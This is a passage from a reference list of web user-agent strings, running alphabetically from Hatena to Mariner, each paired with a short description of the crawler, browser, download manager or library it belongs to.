robot,Hatena Antenna/0.4 (http://a.hatena.ne.jp/help#robot)\nHatena Japan proxy for handheld/mobile clients,Hatena Mobile Gateway/1.0\nHatena Japan robot,Hatena Pagetitle Agent/1.0\nHatena Japan RSS feed robot,Hatena RSS/0.3 (http://r.hatena.ne.jp)\nHatena::Diary (Japan) web page screenshot robot,HatenaScreenshot/1.0 (checker)\nhbtronix.spider - Domain name spider (Germany),hbtronix.spider.2 -- http://hbtronix.de/spider.php\nMirago Germany robot,HeinrichderMiragoRobot\nMirago Germany robot,HeinrichderMiragoRobot (http://www.miragorobot.com/scripts/deinfo.asp)\nHelix - The SiteSearch (Canada) web crawler,Helix/1.x ( http://www.sitesearch.ca/helix/)\nMirago France robot,HenriLeRobotMirago (http://www.miragorobot.com/scripts/frinfo.asp)\nMirago search (UK) robot,HenrytheMiragoRobot\nMirago search (UK) robot,HenryTheMiragoRobot (http://www.miragorobot.com/scripts/mrinfo.asp)\nO'Reilly's Perl LWP example client program from Web Client Programming with Perl,hgrepurl/1.0\nUniversity of Kassel Germany CsCrawler using the HTTPClient library,Hi! I'm CsCrawler my homepage: http://www.kde.cs.uni-kassel.de/lehre/ss2005/googlespam/crawler.html RPT-HTTPClient/0.3-3\nHiDownload download manager,HiDownload\nHippias robot,Hippias/0.9 Beta\nPilot Hitlist web analytics solution,HitList\nHitwise spider,Hitwise Spider v1.0 http://www.hitwise.com\ndiff. IPs / unknown services,HLoader\nMorfeo / Centrum Search (Czech Republic) robot from 65.102.46.xxx,holmes/3.11 (http://morfeo.centrum.cz/bot)\nOnet.pl (Poland) search robot,holmes/3.9 (onet.pl)\nOnet.pl (Poland) search robot,holmes/3.xx (OnetSzukaj/5.0; +http://szukaj.onet.pl)\nMorfeo / Centrum Search (Czech Republic) robot from 65.102.46.xxx,holmes/x.x\nHoles search robot (Georgia),HolmesBot (http://holmes.ge)\nHomePageSearch robot,HomePageSearch(hpsearch.uni-trier.de)\nHomerweb search robot,Homerbot: www.homerweb.com\nHonda-Search.com - Honda cars related search robot,Honda-Search/0.7.2 (Nutch; http://lucene.apache.org/nutch/bot.html; search@honda-search.com)\nHooWWer - Next Generation Information Retrieval robot ,HooWWWer/2.1.3 (debugging run) (+http://cosco.hiit.fi/search/hoowwwer/ | mailto:crawler-info<at>hiit.fi)\nHooWWer - Next Generation Information Retrieval robot (128.214.112.xx),HooWWWer/2.1.x ( http://cosco.hiit.fi/search/hoowwwer/ | mailto:crawler-info<at>hiit.fi)\nHotJava browser plus HTML Component 1.1.x,HotJava/1.0.1/JRE1.1.x\nHotzuno - Japanese BBS reader client,Hotzonu/x.0\nUnknown robot from HP Labs,HPL/Nutch-0.9 -\nCOMPUTERorgs.com robot (205.134.190.xxx) using htdig,htdig/3.1.6 (http://computerorgs.com)\nhtdig used by the Academie de Toulouse,htdig/3.1.6 (unconfigured@htdig.searchengine.maintainer)\nhtdig search tool,htdig/3.1.x (root@localhost)\nLithops Software link validation tool,Html Link Validator (www.lithopssoft.com)\nHTML2JPG webpage to image converter,\"HTML2JPG Blackbox, http://www.html2jpg.com\"\nHTML2JPG webpage to image converter,HTML2JPG Enterprise\nHTML Parser Java library to parse HTML,HTMLParser/1.x\nPHP HTTP client to access Web servers,HTTP Retriever\nAnonymous web proxy service,http://Anonymouse.org/ (Unix)\nAsk 24x Info (Germany) DMOZ related robot,http://Ask.24x.Info/ (http://narres.it/)\nACONTBOT - Acont search Germany robot,http://hilfe.acont.de/bot.html ACONTBOT\nOzySoftware.com software directory link checking,http://OzySoftware.com/Index.html\nIBM's Almaden Research robot,http://www.almaden.ibm.com/cs/crawler\nIBM's Almaden Research robot,http://www.almaden.ibm.com/cs/crawler [rc1.wf.ibm.com]\nIBM's Almaden Research robot,http://www.almaden.ibm.com/cs/crawler [wf216]\nIstarthere.com search robot,http://www.istarthere.com_spider@istarthere.com\nMonogol - German open source search engine project (195.226.167.1xx),http://www.monogol.de\nTrendTech Search Engine (Denmark) robot,http://www.trendtech.dk/spider.asp)\nHTTP::Lite - Standalone Perl module for retreiving HTTP documents,HTTP::Lite/2.x.x\nHTTPEyes - Web proxy cache,HTTPEyes\nHTTPResume Amiga download manager,HTTPResume v. 1.x\nHttpUnit - Java test code for emulating browser behaviour,httpunit/1.5\nHttpUnit - Java browser behavior simulation tool,httpunit/1.x\nHybrid Share mono C#/Gtk# application for file sharing,Hybrid/1.2 [en] (OS Independent)\nHyper Estraier full-text search system,HyperEstraier/1.x.xx\ni1search robot,i1searchbot/2.0 (i1search web crawler; http://www.i1search.com; crawler@i1search.com)\nAlexa / The Internet Archive (209.237.238.1xx),IAArchiver-1.0\nUnknown robot (reads robots.txt) from chinatelecom (219.142.78.xx),iaskspider\nIask search / Sina portal robot (China),iaskspider2 (iask@staff.sina.com.cn)\nAlexa / The Internet Archive (209.237.238.1xx),ia_archiver\nAlexa / The Internet Archive (209.237.238.1xx),ia_archiver-web.archive.org\nAlexa / The Internet Archive (209.237.238.1xx),ia_archiver/1.6\nIOSpirit iBrowse Amiga Browser,IBrowse/2.2 (AmigaOS 3.5)\nIOSpirit iBrowse Amiga Browser,IBrowse/2.2 (Windows 3.1)\niCab MAC Web browser,iCab/2.5.2 (Macintosh; I; PPC)\nKnowledge Clustered Group ICC-Crawler (University of Tokyo - Japan),ICC-Crawler(Mozilla-compatible; http://kc.nict.go.jp/icc/crawl.html; icc-crawl(at)ml(dot)nict(dot)go(dot)jp)\nKnowledge Clustered Group ICC-Crawler (University of Tokyo - Japan),ICC-Crawler(Mozilla-compatible;http://kc.nict.go.jp/icc/crawl.html;icc-crawl-contact(at)ml(dot)nict(dot)go(dot)jp)\nICJobs - Intelligence Competence Center (Germany) robot,iCCrawler (http://www.iccenter.net)\nICJobs - Intelligence Competence Center (Germany) robot,ICCrawler - ICjobs (http://www.icjobs.de/bot.htm)\nICE Java browser,ICE Browser/5.05 (Java 1.4.0; Windows 2000 5.0 x86)\nGoo Japan / Inktomi robot (210.173.179.xx),ichiro/x.0 (http://help.goo.ne.jp/door/crawler.html)\nGoo Japan / Inktomi robot (210.173.179.xx),ichiro/x.0 (ichiro@nttr.co.jp)\nIconsurf.com - Visual Surf Engine / favicon finder,IconSurf/2.0 favicon finder (see http://iconsurf.com/robot.html)\nIconsurf.com - Visual Surf Engine / favicon finder,IconSurf/2.0 favicon monitor (see http://iconsurf.com/robot.html)\nicooLoader download manager,ICOO Loader v.x.x.x\nICRA (Internet Content Rating Association) label spider,ICRA_label_spider/x.0\nICS Robot Search Engine (International Christian school of Seoul),icsbot-0.1\nInternet Download Accelerator,IDA\nJanas (Ideare.com / Tiscali.it) robot,ideare - SignSite/1.x\nUnknown UA from Yahoo China,\"iearthworm/1.0, iearthworm@yahoo.com.cn\"\nSome bookmark manager,IEFav172Free\niFeed.jp - online rss aggregator (in development),iFeed.jp/2.0 (www.psychedelix.com/agents/agents.rss; 0 subscribers)\nIgde search (Russia) robot,igdeSpyder (compatible; igde.ru; +http://igde.ru/doc/tech.html)\niGetter download manager,iGetter/1.x (Macintosh;G;PPC)\niGetter download manager,iGetter/2 (Macintosh; U; PPC Mac OS X; en)\nWebkhoj - Indian language search engine,IIITBOT/1.1 (Indian Language Web Search Engine; http://webkhoj.iiit.net; pvvpr at iiit dot ac dot in)\nIlial Knowledge Search robot,\"ilial/Nutch-0.9 (Ilial, Inc. is a Los Angeles based Internet startup company. For more information please visit http://www.ilial.com/crawler; http://www.ilial.com/crawler; crawl@ilial.com)\"\nUnknown robot from UCLA using Nutch,ilial/Nutch-0.9-dev\nIlse Netherlands robot (62.69.178.xx),IlseBot/1.x\nIl Trovatore - Italian search engine robot,IlTrovatore-Setaccio ( http://www.iltrovatore.it)\nIl Trovatore - Italian search engine robot,Iltrovatore-Setaccio/0.3-dev (Indexing; http://www.iltrovatore.it/bot.html; info@iltrovatore.it)\nIl Trovatore - Italian search engine robot,IlTrovatore-Setaccio/1.2 ( http://www.iltrovatore.it/aiuto/faq.html)\nIl Trovatore - Italian search engine robot,Iltrovatore-Setaccio/1.2 (It-bot; http://www.iltrovatore.it/bot.html; info@iltrovatore.it)\nIl Trovatore - Italian search engine robot,iltrovatore-setaccio/1.2-dev (spidering; http://www.iltrovatore.it/aiuto/.....)\nIl Trovatore - Italian search engine robot,IlTrovatore/1.2 (IlTrovatore; http://www.iltrovatore.it/bot.html; bot@iltrovatore.it)\nImageVisu image and graphics viewer - display files from the Web (HTTP and ECWP),ImageVisu/v4.x.x\nBD-Brandprotect copyright infringement crawler,ImageWalker/2.0 (www.bdbrandprotect.com)\nHttpClient - a PHP Web Client Class,Incutio HttpClient v0.x\nIncyWincy search engine using DMOZ Open Directory database,IncyWincy data gatherer(webmaster@loopimprovements.com\nIncyWincy search engine using DMOZ Open Directory database,IncyWincy page crawler(webmaster@loopimprovements.com\nLook.com robot using IncyWincy search engine,IncyWincy(http://www.look.com)\nIncyWincy search engine using DMOZ Open Directory database,IncyWincy(http://www.loopimprovements.com/robot.html)\nIncyWincy search engine using DMOZ Open Directory database,IncyWincy/2.1(loopimprovements.com/robot.html)\nIndex the Web (69.57.134.xx) crawler,IndexTheWeb.com Crawler7\nSpam bot from diff. IPs,Industry Program 1.0.x\nInet Library Resource Center robot,Inet library\nInetURL IVM (phone software) plugin for web server access ?,InetURL/1.0\nPubblisito.com search - Italia,info@pubblisito.com- (http://www.pubblisito.com) il Sud dei Motori di Ricerca\nInfoaxe - search history and bookmark service,Infoaxe./Nutch-0.9\nConveras RetrievalWare Internet Spider (63.241.61.x),infoConveraCrawler/0.8 ( http://www.authoritativeweb.com/crawl)\nVersions-project.org Ingelin spider,InfoFly/1.0 (http://www.versions-project.org/)\nInfoLink link checking tool,InfoLink/1.x\nINFOMINE Scholary Internet Resource Collection crawler,INFOMINE/8.0 Adders\nINFOMINE Scholary Internet Resource Collection crawler,INFOMINE/8.0 RemoteServices\nINFOMINE Scholary Internet Resource Collection crawler,INFOMINE/8.0 VLCrawler (http://infomine.ucr.edu/useragents)\n164.71.1.1xx jp.co.fujitsu.t2 Robot,InfoNaviRobot(F107)\nInfoseek robot,InfoSeek Sidewinder/0.9\nInfoseek robot,InfoSeek Sidewinder/1.0A\nInfoseek robot,InfoSeek Sidewinder/1.1A\nInfoseek robot,Infoseek SideWinder/1.45 (Compatible; MSIE 10.0; UNIX)\nInfoseek Japan robot,Infoseek SideWinder/2.0B (Linux 2.4 i686)\nIlse Netherlands robot (62.69.178.xx),INGRID/3.0 MT (webcrawler@NOSPAMexperimental.net; http://webmaster.ilse.nl/jsp/webmaster.jsp)\nInktomi (Hotbot-Lycos NBCi etc.) robot,Inktomi Search\nEnterprise Search engine software (64.202.165.xxx) ,InnerpriseBot/1.0 (http://www.innerprise.com/)\nInsitor Search robot (80.67.20.1xx),Insitor.com search and find world wide!\nInsitor Search robot (80.67.20.1xx),Insitornaut\ndownload manager,InstallShield DigitalWizard\nIntegrity - website broken link checker for MAC OSx,integrity/1.6\nMicroton Intelix robot for Eurotran translation software ?,Intelix/0.x (cs; http://www.microton.cz/intelix/; microton@@microton.cz)\nInterarchy file transfer software - SFTP/FTP client for Mac OS X,Interarchy/x.x.x (InterarchyCrawler)\nDream Train (Japan) Internet search robot,Internet Ninja x.0\nHeritrix - The Internet Archive's open-source crawler based on Nutch (207.241.225.2xx),InternetArchive/0.8-dev(Nutch;http://lucene.apache.org/nutch/bot.html;nutch-agent@lucene.apache\nInternet Link Agent - link checking tool,InternetLinkAgent/3.1\nInternetseer Web site monitoring / Claymont robot,InternetSeer.com\nintraVNews - Feed reader & RSS aggregator for Outlook,intraVnews/1.x\nInternet Open Index crawler using Nutch,IOI/2.0 (ISC Open Index crawler; http://index.isc.org/; bot@index.isc.org)\nIP*Works! HTTP Component,IP*Works! V5 HTTP/S Component - by /n software - www.nsoftware.com\nIP2Location - Reverse lookup geographical data and ISP by IP,http://www.ip2location.com\nIP2Map - geographical IP mapping,IP2MapBot/1.1 <a href=http://www.ip2map.com>http://www.ip2map.com</a>\nLaurions Ipium robot,IPiumBot laurion(dot)com\nIpselon Web Search robot,IpselonBot/0.xx-beta (Ipselon; http://www.ipselon.com; ipselonbot@ipselon.com)\nIria download manager,Iria/1.xxa\nIRL-crawler - Texas A&M University research project crawler,IRLbot/1.0 ( http://irl.cs.tamu.edu/crawler)\nIRL-crawler - Texas A&M University research project crawler,IRLbot/3.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler/)\nurl_log - Irssi Perl url grabber,IrssiUrlLog/0.2\nIrvine downloading tool,Irvine/1.x.x\nUnknown spambot / harvester from diff. IPs,ISC Systems iRc Search 2.1\niSiloX document converter for iSilo reader,iSiloX/4.xx Windows/32\nUnknown University of Alberta link-checking ?,isurf (tszhu@canada.com)\niTunes UA name for access and decrypt the iTunes music store pages,iTunes/x.x.x\nSome spam bot from 66.139.78.xx(x),IUPUI Research Bot v 1.9a\niVia robot - Open source Internet portal & virtual library system software,iVia Page Fetcher (http://ivia.ucr.edu/useragents.shtml)\niVia robot - Open source Internet portal & virtual library system software,iVia/4.0 CanonizeUrl (http://infomine.ucr.edu/iVia/useragents.shtml\n\"BD BrandProtect - brand, company or trademarks online monitoring\",IWAgent/ 1.0 - www.brandprotect.com\nProxy message from jp-q.ne.jp,J-PHONE/3.0/J-SH07\nODIN Directory Japan robot (163.138.95.xx),Jabot/6.x (http://odin.ingrid.org/)\nODIN Directory Japan robot (163.138.95.xx),Jabot/7.x.x (http://odin.ingrid.org/)\nGerman Domanova (offline since Feb.02) robot,Jack\nJakarta Commons (Java based) HTTP client,Jakarta Commons-HttpClient/2.0xxx\nJakarta Commons (Java based) HTTP client,Jakarta Commons-HttpClient/3.0-rcx\nJamBot search robot (70.146.82.xx),Jambot/0.1.x (Jambot; http://www.jambot.com/blog; crawler@jambot.com)\nJamBot search robot,Jambot/0.2.1 (Jambot; http://www.jambot.com/blog/static.php?page=webmaster-robot; crawler@jambot.com)\nJava VM,Java 1.1\nJava VM,Java/1.4.1_01\nJava VM,Java1.0.21.0\nJava VM,Java1.1.xx.x\nJava VM,Java1.3.0rc1\nJava VM,Java1.3.x\nJava VM,Java1.4.0\nJayde B2B Search robot (66.28.139.xx),Jayde Crawler. http://www.jayde.com\nsome site downloading tool ? via 61.77.51.xxx,JBH Agent 2.0\nWAP 2.0 / jBrowser for handhelds,jBrowser/J2ME Profile/MIDP-1.0 Configuration/CLDC-1.0 (Google WAP Proxy/1.0)\nJCheckLinks Java hyperlink validator,JCheckLinks/0.1 RPT-HTTPClient/0.3-1\nJava Development Kit,JDK/1.1\nInsignias Jeode (PDA) Java platform,Jeode/1.x.x\nJetEye Search robot (64.62.142.xxx / 64.71.144.xxx),Jetbot/1.0\nOmea RSS -  Atom - newsgroups web page reader ,JetBrains Omea Reader 1.0.x (http://www.jetbrains.com/omea_reader/)\nOmea RSS -  Atom - newsgroups web page reader ,JetBrains Omea Reader 2.0 Release Candidate 1 (http://www.jetbrains.com/omea_reader/)\nJetCar / Flashget download manager,JetCar\nJigsaw - W3C's CSS Validator Server,Jigsaw/2.2.x W3C_CSS_Validator_JFouffa/2.0\nJobo website downloading program,JoBo/1.x (http://www.matuschek.net/jobo.html)\nJobo website downloading program,JoBo/@JOBO_VERSION@(http://www.matuschek.net/jobo.html)\nFinacialbot.com - German (213.61.218.xx) job search JobRoboter,JobSpider_BA/1.1\nJocsoft Web Spider - website downloading tool,JOC Web Spider\nJordo Media RSS / Atom feed directory link checking,JordoMedia/1.0 RSS File Reader (http://www.jordomedia.com)\nJournster.com RSS/Atom aggregator,Journster [alpha] (http://journster.com/)\nJournster.com RSS/Atom aggregator,Journster.com RSS/Atom aggregator 0.5 (http://www.journster.com/bot.phtml)\nCheck Favorites bookmark checking,JRTS Check Favorites Utility\nCheck Favorites bookmark checking,JRTwine Software Check Favorites Utility\nJyxo search (Czech Republic) robot (212.71.128.xx),Jyxobot/x\nK-meleon browser -  Windows 2000,K-Meleon/0.6 (Windows; U; Windows NT 5.1; en-US; rv:0.9.5) Gecko/20011011\nVerity K2 Spider ( Network search software),k2spider\nUnknown robot from AITrc (Advanced Information Technology Research Center) - Korea,KAIST AITrc Crawler\nKakle ranked metasearch robot,KakleBot - www.kakle.com/0.1 (KakleBot - www.kakle.com; http:// www.kakle.com/bot.html; support@kakle.com)\nKalooga image crawler,kalooga/kalooga-4.0-dev-datahouse (Kalooga; http://www.kalooga.com; info@kalooga.com)\nKalooga image crawler,kalooga/KaloogaBot (Kalooga; http://www.kalooga.com/info.html?page=crawler; crawler@kalooga.com)\nKapere site grapper / web downloader,Kapere (http://www.kapere.com)\nKazehakase - Gecko based browser (Japan),Kazehakase/0.x.x.[x]\nOpenwave UP.Browser for mobiles via Google WAP Proxy (216.239.33.x),KDDI-SN22 UP.Browser/6.0.7 (GUI) MMP/1.1 (Google WAP Proxy/1.0)\nKenjin Spider search agent,Kenjin Spider\nDznet.com Kevin crawler (link checking ?) via 68.39.148.xx (nj.comcast.net),Kevin http://dznet.com/kevin/\nWebsite AlertsKevin crawler (website monitoring) via 68.39.148.xx (nj.comcast.net),Kevin http://websitealert.net/kevin/\nVoila.fr robot,KE_1.0/2.0 libwww/5.2.8\nSome Perl search script from KFSW (Germany),KFSW-Bot (Version: 1.01 powered by KFSW www.kfsw.de)\nkinja weblog search robot,kinja-imagebot (http://www.kinja.com/)\nkinja weblog search robot,kinjabot (http://www.kinja.com)\nFireball search (Germany) robot,KIT-Fireball/2.0\nFireball search (Germany) robot,KIT-Fireball/2.0 (compatible; Mozilla 4.0; MSIE 5.5)\nKlondike WAP Browser,Klondike/1.50 (WSP Win32) (Google WAP Proxy/1.0)\nUniversity of Washington KnowItAll - web information extraction,KnowItAll(knowitall@cs.washington.edu)\nThe knowledge.com (ODP) directory robot,Knowledge.com/0.x\nKontiki Client download manager,Kontiki Client x.xx\nKrugle source code search engine for developers (64.71.164.1xx) ,\"Krugle/Krugle,Nutch/0.8+ (Krugle web crawler; http://www.krugle.com/crawler/info.html; webcrawler@krugle.com)\"\nKnowledgeStorm technology industry crawler for Findtech.com,KSbot/1.0 (KnowledgeStorm crawler; http://www.knowledgestorm.com/resources/content/crawler/index.html; crawleradmin@knowledgestorm.com)\nKuloko contextual search robot,kuloko-bot/0.x\nKuloko contextual search robot,kulokobot www.kuloko.com kuloko@backweave.com\nNational Library of Sweden Heritage Project robot,kulturarw3/0.1\nLink or server checking from Sanoma Budapest (195.70.35.xxx),KummHttp/1.1 (compatible; KummClient; Linux rulez)\nUP.Browser for mobiles on Kyocera KWC-KX9 cellphone,KWC-KX9/1109 UP.Browser/6.2.3.9.g.1.107 (GUI) MMP/2.0 UP.Link/6.3.0.0.0\nTREC Blog Track - Blog and news feed crawler,Labrador/0.2; http://ir.dcs.gla.ac.uk/labrador; craigm@dcs.gla.ac.uk\nIntels Lachesis web site response time monitoring tool,Lachesis\nUnknown robot from Easten Network China (202.96.51.1xx),lanshanbot/1.0\nUnknown robot from Easten Network China (202.96.51.1xx),lanshanbot/1.0 (+http://search.msn.com/msnbot.htm)\nLapozz search (Hungary) robot (82.131.195.xx),LapozzBot/1.4 ( http://robot.lapozz.com)\nLapozz search (Hungary) robot (82.131.195.xx),LapozzBot/1.5 (+http://robot.lapozz.hu)\nLarbin indexer used as Metacarta.com (66.28.xx.xxx) robot,larbin (samualt9@bigfoot.com)\nUnknown robot from 66.230.140.xx (argon.oxeo.com),LARBIN-EXPERIMENTAL (efp@gmx.net)\nLarbin indexer used by Mitsubishi Electric Research Labs,larbin_2.1.1 larbin2.1.1@somewhere.com\nLarbin indexer used as Compete.com crawler,larbin_2.2.0 (crawl@compete.com)\nLarbin indexer used as Inria robot,larbin_2.2.1_de_Viennot (Laurent.Viennot@inria.fr)\nLarbin indexer used as Kyoto University robot,larbin_2.2.2 (sugayama@lab7.kuis.kyoto-u.ac.jp)\nLarbin indexer used as Inria robot,larbin_2.2.2_guillaume (guillaume@liafa.jussieu.fr)\nLarbin indexer used by an unknown dsl.net client,larbin_2.6.0 (larbin2.6.0@unspecified.mail)\nLarbin indexer used by diff. IPs / services,larbin_2.6.1 (larbin2.6.1@unspecified.mail)\nLarbin indexer used by National Institut of Informatics (NII/Japan),larbin_2.6.2 (hamasaki@grad.nii.ac.jp)\nLarbin indexer used by diff. IPs,larbin_2.6.2 (larbin2.6.2@unspecified.mail)\nLarbin indexer used as robot by Georgia Institute of Technology http://www.gatech.edu/,larbin_2.6.2 (listonATccDOTgatechDOTedu)\nLarbin indexer used by Technical University of Crete,larbin_2.6.2 (pimenas@systems.tuc.gr)\nLarbin indexer used as Lemur Consulting robot,larbin_2.6.2 (tom@lemurconsulting.com)\nLarbin indexer used as robot via cloud9.net (168.100.192.xxx),larbin_2.6.2 (vitalbox1@hotmail.com)\nUnknown robot from EPFL Lausanne Switzerland (128.178.155.1xx),larbin_2.6.3 (ltaa_web_crawler@groupes.epfl.ch)\nLarbin indexer used by GenieKnows.com search,larbin_2.6.3 (wgao@genieknows.com)\nLarbin indexer used by Next Generation Information Retrieval (NGIR),larbin_2.6.3_for_(http://cosco.hiit.fi/search/) tsilande@hiit.fi\nLarbin indexer used by CEA / DCom Rechercher,larbin_2.6_basileocaml (basile.starynkevitch@cea.fr)\nLarbin indexer used as Inria robot,larbin_devel (http://pauillac.inria.fr/~ailleret/prog/larbin/)\nLawInfo - Lawyer and attorney directory,lawinfo-crawler/Nutch-0.9-dev (Crawler for lawinfo.com pages; http://www.lawinfo.com; webmaster@lawinfo.com)\nROADS - Perl web based subject based gateway tool,lc/$ROADS::Version libwww-perl/5.00\nunknown robot via MTT.ca / Aliant.ca,lcabotAccept: */*\nLeapTag news reader and content discovery tool,LeapTag/0.8.1.beta081.r3750 (compatible; Mozilla 4.0; MSIE 5.5; robot@yoriwa.com)\nLinkexchange crawler,LECodeChecker/3.0 libgetdoc/1.0\nLeechget download manager,LeechGet 200x (www.leechget.de)\nGseek.com (site is offline) robot,LEIA/2.90\nGseek.com (site is offline) robot,LEIA/3.01pr (LEIAcrawler; [SNIP])\nMaybe logfile spamming for Lets crawl! search (Germany),LetsCrawl.com/1.0 +http://letscrawl.com/\nLexibot (exMataHari) search software,LexiBot/1.00\nPolaris mobile browser on LG LX 260 Sprint Rumor phone,LG-LX260 POLARIS-LX260/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1\nLG 8138 Mobile Phone browser,LG/U8138/v1.0\nAbout.com robot,Libby_1.1/libwww-perl/5.47\nlibcurl's (multiprotocol file transfer library) standard user-agent name,libcurl-agent/1.0\nLibertyW search for mobile (France),LibertyW (+http://www.lw01.com)\nKorea Telecom Search robot,libWeb/clsHTTP -- hiongun@kt.co.kr\nCMP United Media robot,libwww-perl/5.41\nSplatSearch robot (207.44.142.xx),libwww-perl/5.45\nAlexa robot,libwww-perl/5.48\ndiff. IPs / services,libwww-perl/5.50\nFast Search robot,libwww-perl/5.52 FP/2.1\nFast Search robot,libwww-perl/5.52 FP/4.0\ndiff. IPs / services,libwww-perl/5.53\nProfile for You internet profiling (?),libwww-perl/5.63\nunknown link checking from Wanadoo.fr (193.253.33.xxx),libwww-perl/5.64\nAmidalla search engine robot (62.241.33.xx),libwww-perl/5.65\nSplatSearch robot (72.36.210.xx),libwww-perl/5.800\nMediater Rechercher robot,libwww/5.3.2\nLiferea - Linux feed reader,Liferea/0.x.x (Linux; en_US.UTF-8; http://liferea.sf.net/)\nLiferea (Linux Feed Reader) news aggregator for Unix and Linux,Liferea/1.x.x (Linux; es_ES.UTF-8; http://liferea.sf.net/)\nLightning Download manager,LightningDownload/1.0beta2\nLightning Download manager,LightningDownload/1.x.x\nLightning Download manager,LightningDownload/1.x.x [Accelerated x]\nLijit blog search spider,LijitSpider/Nutch-0.9 (Reports crawler; http://www.lijit.com/; info(a)lijit(d)com)\nSome spam bot,Lincoln State Web Browser\nLink Valet online link checking,Link Valet Online 1.x\nLinkalarm link validation,LinkAlarm/2.x\nLinkbot Pro link checking software,Linkbot\nRpsoft 2000 Site-Crawler,linkbot\nLinkbot Pro link checking software,Linkbot x.0\nLinkcheck - linkchecking tool for Unix/Linux,LinkCheck (linkcheck@inter7.com http://www.inter7.com/linkcheck)\nLinklint - Perl html link checker,LinkLint-checkonly/2.x.x\nLinklint - Perl html link checker,LinkLint-spider/2.x.x\nLinknz - The Kiwi Search Engine (New Zealand),linknzbot\nLink-Pimp web directory link checking,LinkPimpin v1.0\nTafWeb link checking program,LinkProver 2.1\nLinks text browser for Unix & OS/2,Links (0.9x; Linux 2.4.7-10 i686)\nLinks text browser for Unix & OS/2,Links (0.9xpre12; Linux 2.2.14-5.0 i686; 80x24)\nLinks text browser for Unix & OS/2,Links (2.xpre7; Linux 2.4.18 i586; x)\nLinks SQL directory management program,Links - http://gossamer-threads.com/scripts/links/\nLinks SQL directory management program,Links 2.0 (http://gossamer-threads.com/scripts/links/)\nLinks SQL directory management program,Links SQL (http://gossamer-threads.com/scripts/links-sql/)\nLinks4us ODP based directory link checking,\"Links4US-Crawler, (+http://links4us.com/)\"\nShareware robot from Elsop.com (used by Indiafocus/Indiainfo and others),LinkScan/11.0beta2 UnixShareware robot from Elsop.com (used by Indiafocus/Indiainfo)\nShareware robot from Elsop.com (used by Indiafocus/Indiainfo and others),LinkScan/9.0g Unix\nShareware robot from Elsop.com,LinkScan/x.x Unix\nLinksmanager bookmark checking,LinksManager.com (http://linksmanager.com/linkchecker.html)\nLinkSonar (Japan) link checking tool,LinkSonar/1.35\nLeft Side Software's LinkSweeper (ceased) bookmark utility,LinkSweeper/1.x\nSeventwentyfour link checking robot,LinkWalker\nlink check 3 - Perl HTML link checker (from Perl for Web Site Management),link_check3.plx libwww-perl/5.65\nListbid.com / Directnic.com link checking ?,ListBidBot (freelance job spider http://listbid.com)<a href=http://listbid.com>Freelance</a>\nWKD Lab: LiveTrans - Online query and terminology translation service,LiveTrans/Nutch-0.9 (maintainer: cobain at iis dot sinica dot edu dot tw; http://wkd.iis.sinica.edu.tw/LiveTrans/)\nllaut robot - Universitat de les Illes Balears (Spain),Llaut/1.0 (http://mnm.uib.es/~gallir/llaut/bot.html)\nE-Mail harvesting robot - same as ContactBot,LMQueueBot/0.2\nlmspider from Scansoft (192.133.61.xx) - Web text collector,lmspider (lmspider@scansoft.com)\nLexis-Nexis robot,LNSpiderguy\nLocalBot company information collector,LocalBot/1.0 ( http://www.localbot.co.uk/)\nLocal.com local search robot (216.52.252.xxx),LocalcomBot/1.2.x ( http://www.local.com/bot.htm)\nLockstep (website content protection tool) user agent,Lockstep Spider/1.0\nGlobalQueue spider (64.40.105.xxx),Look.com\nLotus Notes browser,Lotus-Notes/4.5 ( Windows-NT )\nIBM Lotus Discovery Server,LotusDiscovery/x.0 (compatible; Mozilla 4.0; MSIE 4.01; Windows NT)\nEveratom.com song lyrics search,Lovel as 1.0 ( +http://www.everatom.com)\nLTI - The Lemur Toolkit for Language Modeling and Information Retrieval via Yahoo,LTI/LemurProject Nutch Spider/Nutch-1.0-dev (lti crawler for CMU; http://www.lti.cs.cmu.edu; changkuk at cmu dot edu)\nLTI - The Lemur Toolkit for Language Modeling and Information Retrieval via Yahoo,LTI/LemurProject Nutch Spider/Nutch-1.0-dev (Research spider using Nutch; http://www.lemurproject.org; mhoy@cs.cmu.edu)\nLuchs.at (Linux Wiki) link checking,luchs.at URL checker\nLunascape IE based browser (Japan),Lunascape\nUltimate Search / Smartdesk (no website) robot,lwp-trivial/1.32\nSearch4free robot,lwp-trivial/1.34\nSearch4free robot,lwp-trivial/1.34\nExpert HTML online source viewer,lwp-trivial/1.35\nExpert HTML online source viewer,lwp-trivial/1.35\nPerl LWP:Collective module,LWP::Simple/5.22\nPerl LWP:Collective module,LWP::Simple/5.36\nPerl LWP:Collective module - Linkomatic robot,LWP::Simple/5.48\nPerl LWP:Collective module - secure-netz.de link checking (in conjunction w. libwww-perl/5.50),LWP::Simple/5.50\nPerl LWP:Collective module - Inktomi (62.253.64.x) robot,LWP::Simple/5.51\nPerl LWP:Collective module - Only.com ,LWP::Simple/5.53\nPerl LWP:Collective module,LWP::Simple/5.63\nThePlanet/jaja-jak-globusy.com Google Adsense refferer spam bot from 70.85.116.* / 70.84.128.xxx / 70.85.193.xxx,LWP::Simple/5.803\nLycos spider,Lycos_Spider_(modspider)\nLycos spider,Lycos_Spider_(T-Rex)\nBobcat - Text and Lynx based DOS browser,Lynx/2-4-2 (Bobcat/0.5 [DOS] Jp Beta04)\nLynx 2.x text mode browser,Lynx/2.6 libwww-FM/2.14\nseebot.org online service - uses lynx browser for crawlers view of web pages,Lynx/2.8 (;http://seebot.org)\nLynx 2.x text mode browser,Lynx/2.8.3dev.9 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6\nLynx 2.x text mode browser used as robot via cogentco.com,Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6c (human-guided@lerly.net)\nSome spam bot,Mac Finder 1.0.xx\nUKWizz search robot,Mackster( http://www.ukwizz.com )\nWind.it client user-agent ?,Mag-Net\nAll Magic/Wap wml service for mobile devices,MagicWML/1.0 (forcewml)\nMagpie RSS - PHP RSS Parser,MagpieRSS/0.7x (+http://magpierss.sf.net)\nMahiti.com India search crawler,Mahiti.Com/Mahiti Crawler-1.0 (Mahiti.Com; http://mahiti.com ; mahiti.com)\nMail.ru search,Mail.Ru/1.0\nUnknown Bea robot,mailto:webcraft@bea.com\nSLI Systems mammoth robot,mammoth/1.0 ( http://www.sli-systems.com/)\nLooksmart robot,MantraAgent\nMap of the Internet visual search engine index robot,MapoftheInternet.com ( http://MapoftheInternet.com)\nKolibri.de robot,Mariner/5.1b [de] (Win95; I ;Kolibri 